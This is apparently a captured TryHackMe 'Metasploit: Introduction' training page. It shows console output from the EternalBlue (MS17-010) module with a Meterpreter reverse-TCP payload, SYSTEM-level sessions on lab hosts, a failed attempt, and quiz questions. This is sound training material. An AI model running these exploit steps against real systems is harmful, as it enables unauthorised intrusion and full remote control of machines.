VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.66.191.149	yes	The listen address (an interface may be specified)

THM AttackBox Persistence: 00:38min 8s

```
Active machines information
IP Address: 10.65.141.134 IP Address: 10.65.128.147

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
=====

  Id  Name  Type  Information  Connection
  --  -
  1    meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.1
  2    meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.1

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > sessions

Active sessions
=====

  Id  Name  Type  Information  Connection
  --  -
  1    meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.1
  2    meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.1

msf6 >
```

To interact with any session, you can use the `sessions -i` command followed by the desired session number.

```
Interacting with sessions

msf6 > sessions

Active sessions
=====

  Id  Name  Type  Information  Connection
  --  -
  1    meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.1
  2    meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.1
```

```
root@ip-10-65-141-134:~
File Edit View Search Terminal Help

  2  \_ target: Windows 7
  3  \_ target: Windows Embedded Standard 7
  4  \_ target: Windows Server 2008 R2
  5  \_ target: Windows 8
  6  \_ target: Windows 8.1
  7  \_ target: Windows Server 2012
  8  \_ target: Windows 10 Pro
  9  \_ target: Windows 10 Enterprise Evaluation

Interact with a module by name or index. For example info 9, use 9 or use exploit(windows/smb/ms17_010_eternalblue)
After interacting with a module you can manually set a TARGET with set TARGET 'Windows 10 Enterprise Evaluation'

[*] Using exploit(windows/smb/ms17_010_eternalblue)
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > exploit -z
[*] Started reverse TCP handler on 10.65.141.134:4444
[*] 10.10.165.39:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.10.165.39:445 - Rex::ConnectionTimeout: The connection with (10.10.165.39:445) timed out.
[*] 10.10.165.39:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.165.39:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
=====

No active sessions.

msf exploit(windows/smb/ms17_010_eternalblue) >
```

```
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

Answer the questions below

How would you set the LPORT value to 6666?

✓ Correct Answer

How would you set the global value for RHOSTS to 10.10.19.23?

✓ Correct Answer

What command would you use to clear a set payload?

✓ Correct Answer

What command do you use to proceed with the exploitation phase?

✓ Correct Answer

Task 5 Summary

How likely are you to recommend this room to others?

1

2

3

4

5

6

7

8

9

10

Submit now



Share your win with your peers

Your progress can inspire others in your community.



Metasploit: Introduction completed!

isaiahm completed another room on their cyber security journey.

Completed tasks

5

Points earned

80

Streak

1

Share on social media

Share your win before starting the next room

in LinkedIn

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Twitter / X

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